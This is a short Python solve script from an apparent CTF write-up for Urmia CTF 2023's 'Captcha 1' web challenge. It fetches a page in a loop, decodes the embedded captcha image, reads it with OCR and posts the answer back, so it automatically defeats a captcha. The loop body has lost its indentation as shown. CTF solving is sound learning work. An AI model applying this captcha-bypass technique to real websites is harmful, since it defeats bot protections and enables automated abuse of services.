```
import re
import requests
from PIL import Image
import pytesseract
import io
import base64

s = requests.Session()
url = "https://captcha1.uctf.ir/"

while True:
r = s.get(url)
pattern = r'data:image\/\w+;base64,([^"]+)'
match = re.search(pattern, r.text)
image_data = base64.b64decode(match.group(1))
image = Image.open(io.BytesIO(image_data))
ocr_text = pytesseract.image_to_string(image)
print(r.text)
print(s.cookies.get_dict())
sendit=s.post(url,data={'captcha':ocr_text})
```

Original writeup (https://github.com/jackalkarlos/CTF-Writeups-and-Scripts/blob/main/Urmia%20CTF%202023/WEB/Captcha%201/solve.py).